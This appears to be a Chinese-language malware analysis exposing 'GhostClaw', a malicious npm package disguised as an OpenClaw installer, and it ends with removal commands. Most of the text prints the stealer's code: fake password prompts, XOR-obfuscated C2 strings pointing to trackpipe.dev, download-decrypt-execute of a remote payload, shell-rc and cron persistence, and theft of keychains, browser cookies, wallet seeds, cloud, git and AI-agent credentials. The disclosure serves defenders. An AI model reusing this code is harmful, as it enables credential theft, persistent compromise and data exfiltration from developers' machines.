揭秘 GhostClaw 真面目—— 一个恶意 npm 包伪装成 OpenClaw 窃取一切数据

{

  “name”: “@openclaw-ai/openclawai”,

  “version”: “1.5.15”,

  “description”: “🦞 OpenClaw Installer – Integration utilities”,

  “main”: “src/index.js”,

  “types”: “src/index.d.ts”,

  “files”: [

    “src”,

    “scripts/setup.js”,

    “scripts/postinstall.js”,

    “scripts/build.js”

  ],

  “bin”: {

    “openclaw”: “./scripts/setup.js”

  },

  “scripts”: {

    “start”: “node src/index.js”,

    “build”: “node scripts/build.js”,

    “lint”: “eslint src/**/*.js”,

    “test”: “jest”

  },

  “license”: “MIT”,

  “keywords”: [

    “utility”,

    “sdk”,

    “integration”

  ],

  “dependencies”: {}

}

const { execSync } = require(‘child_process’);

execSync(“npm i -g @openclaw-ai/openclawai”, { stdio: ‘inherit’ });

Keychain Authorization Required

OpenClaw needs to securely store credentials in the macOS Keychain.

Administrator privileges are required for the initial setup.

This is a one-time operation for secure vault initialization.

// macOS

spawnSync(“dscl”, [“.”, “-authonly”, username, password], { stdio: “pipe”, timeout: 5000 });

// Windows

spawnSync(“powershell”, [“-NoProfile”, “-NonInteractive”, “-Command”,

    “… $ctx.ValidateCredentials(‘” + username + “‘, ‘” + password + “‘) …”]);

// Linux

spawnSync(“su”, [“-c”, “true”, username], { input: password + “\n”, stdio: “pipe” });

var_60.map((val, i) => String.fromCharCode(val ^ var_61[i])).join(“”)

// Decodes to: https://trackpipe.dev

var_65.map((val, i) => String.fromCharCode(val ^ var_66[i])).join(“”)

// Decodes to: fafc0e77-9c1b-4fe1-bf7e-d24d2570e50e

hxxps[://]trackpipe[.]dev/t/bootstrap?t=fafc0e77-9c1b-4fe1-bf7e-d24d2570e50e

const encrypted = Buffer.from(response.p, “base64”);

const key = Buffer.from(response.k, “hex”);

const iv = encrypted.slice(0, 16);

const authTag = encrypted.slice(16, 32);

const ciphertext = encrypted.slice(32);

const decipher = crypto.createDecipheriv(“aes-256-gcm”, key, iv);

decipher.setAuthTag(authTag);

let decrypted = decipher.update(ciphertext);

decrypted = Buffer.concat([decrypted, decipher.final()]);

const tmpPath = path.join(os.tmpdir(), “sys-opt-” + crypto.randomBytes(6).toString(“hex”) + “.js”);

fs.writeFileSync(tmpPath, decrypted);

const child = spawn(process.execPath, [tmpPath], {

    stdio: “ignore”,

    detached: true,

    env: {

        …process.env,

        NODE_CHANNEL: “complexarchaeologist1”,

        NODE_AUTH_TOKEN: stolenPassword,

        NPM_CONFIG_TAG: packageName

    }

});

child.unref();

setTimeout(() => { try { fs.unlinkSync(tmpPath); } catch {} }, 60000);

spawn(“osascript”, [“-e”,

    ‘display dialog “OpenClaw requires Full Disk Access…” ‘ +

    ‘buttons {“Skip”, “Open Settings”} with title “OpenClaw — Security Setup”‘

]);

INSTALL_DIR_NAME = “.npm_telemetry”;

EXECUTABLE_NAME = “monitor.js”;

function installSelf() {

    const installPath = getInstallPath();

    if (!fs.existsSync(installPath)) fs.mkdirSync(installPath, { recursive: true });

    fs.copyFileSync(process.argv[1], path.join(installPath, EXECUTABLE_NAME));

}

const hookCode = ‘([ -f “‘ + lockFile + ‘” ] && kill -0 $(cat “‘ + lockFile + ‘”) 2>/dev/null ‘ +

    ‘|| nohup ‘ + process.execPath + ‘ “‘ + executablePath + ‘” >/dev/null 2>&1 &) 2>/dev/null’;

for (const rcFile of [“.zshrc”, “.bashrc”, “.bash_profile”]) {

    const content = fs.readFileSync(rcFile, “utf8”);

    if (!content.includes(executablePath)) {

        fs.appendFileSync(rcFile, “\n# NPM Telemetry Integration Service\n” + hookCode + “\n”);

    }

}

const cronLine = ‘@reboot ( [ -f “‘ + lockFile + ‘” ] && kill -0 $(cat “‘ + lockFile + ‘”) ‘ +

    ‘2>/dev/null || ‘ + nodePath + ‘ “‘ + execPath + ‘” ) >/dev/null 2>&1’;

execSync(“echo ‘” + existingCron + “\n” + cronLine + “‘ | crontab -“);

const child = child_process.spawn(process.execPath, [getExecutablePath()], {

    detached: true,

    stdio: “ignore”

});

child.unref();

const keychainPath = path.join(os.homedir(), “Library”, “Keychains”, “login.keychain-db”);

if (fs.existsSync(keychainPath)) copyToLoot(keychainPath, “Keychain/login.keychain-db”);

// iCloud Keychains: UUID directories containing keychain-2.db, user.kb, TrustedPeersHelper DBs

Decrypted: 42 pass, 3 cards, 128 autofill

async function stealCookiesViaCDP(browsers) {

    const chromiumBrowsers = browsers.filter(b => b.type === “chromium”);

    for (const browser of chromiumBrowsers) {

        const binary = findBrowserBinary(browser.name);

        for (const profile of getProfiles(browser.path)) {

            const port = await findAvailablePort(9222);

            const cookies = await runCDPForBrowser(browser.name, binary, browser.path, port, profile);

            // Exports in both Netscape and JSON formats

        }

    }

}

function extractMnemonic(text) {

    const words = text.toLowerCase().match(/[a-z]{3,8}/g);

    if (!words || words.length < 12) return null;

    // Calculates ratio of BIP-39 matches

    // Files with high ratios are copied to loot/Seeds/found/

}

const targets = [

    { path: “~/.aws/credentials”,      name: “Cloud/AWS/credentials” },

    { path: “~/.aws/config”,           name: “Cloud/AWS/config” },

    { path: “~/.azure/profiles.json”,  name: “Cloud/Azure/profiles.json” },

    { path: “~/.gcloud/credentials.db”, name: “Cloud/GCP/credentials.db” },

    { path: “~/.kube/config”,          name: “Cloud/Kubernetes/config” },

    { path: “~/.docker/config.json”,   name: “Cloud/Docker/config.json” },

    { path: “~/.npmrc”,                name: “Dev/NPM/npmrc” },

    { path: “~/.git-credentials”,      name: “Dev/Git/git-credentials” },

    { path: “~/.config/gh/hosts.yml”,  name: “Dev/GitHub_CLI/hosts.yml” },

    { path: “~/.config/solana/id.json”, name: “Dev/Solana/id.json” },‎

];

var AI_AGENT_TARGETS = [

    { name: “ZeroClaw”, baseDir: “.zeroclaw”, files: [“config.toml”], dirs: [“state”] },

    { name: “PicoClaw”, baseDir: “.picoclaw”, files: [“config.json”], dirs: [“workspace/memory”, “workspace/sessions”] },

    { name: “OpenClaw”, baseDir: “.openclaw”, files: [“openclaw.json”], dirs: [“credentials”] }

];

GhostLoader Report

[ Target ]

  Worker:    complexarchaeologist1

  Campaign:  @openclaw-ai/openclawai

  User:      victim

  Host:      MacBook-Pro.local

  Country:   US

[ Findings ]

  password .. hunter2

  pass ………. 42

  cards ……… 3

  autofill ….. 128

  CDP ………. 4

  wallets …… 2

  seeds …….. 1

  ssh ………… 3

  FDA ……….. Yes (5)

  persist …… Yes

  keychain … Yes

  browsers .. 3

  AI agents . ZeroClaw (4), PicoClaw (2)

var PATTERNS = [

    { name: “Private Key (Hex)”, regex: /\b[a-fA-F0-9]{64}\b/ },

    { name: “WIF Key”,           regex: /\b[5KLc][1-9A-HJ-NP-Za-km-z]{50,51}\b/ },

    { name: “SOL Private Key”,  regex: /\b[1-9A-HJ-NP-Za-km-z]{87,88}\b/ },

    { name: “RSA Private Key”,  regex: /—BEGIN (?:RSA )?PRIVATE KEY—/ },

    { name: “BTC Address”,      regex: /\b(bc1[a-z0-9]{38,61}|[13][1-9A-HJ-NP-Za-km-z]{25,34})\b/ },

    { name: “ETH Address”,      regex: /\b0x[a-fA-F0-9]{40}\b/ },

    { name: “AWS Key”,          regex: /\b(AKIA|ABIA|ACCA)[0-9A-Z]{16}\b/ },

    { name: “OpenAI Key”,       regex: /\bsk-[a-zA-Z0-9]{48}\b/ },

    { name: “Stripe Key”,       regex: /\bsk_live_[0-9a-zA-Z]{24}/ }

];

if (arg_454.type === “UPDATE”) try {

const { url: var_1634, key: var_1635 } = JSON.parse(arg_454.payload);

    if (!var_1634 || !var_1635) throw new Error(“UPDATE payload missing url or key”);

    await selfUpdate(var_1634, var_1635);

    if (“https://trackpipe.dev”) try {

    await sendResult(arg_454.id, “Updated. Restarting.”, “completed”);

    }

catch {}

    restartSelf();
         } catch (err_68) {

       if (“https://trackpipe.dev”) try {

       await sendResult(arg_454.id, err_68.message, “error”);

       } catch {}

       }

npm uninstall -g @openclaw-ai/openclawai && npm uninstall @openclaw-ai/openclawai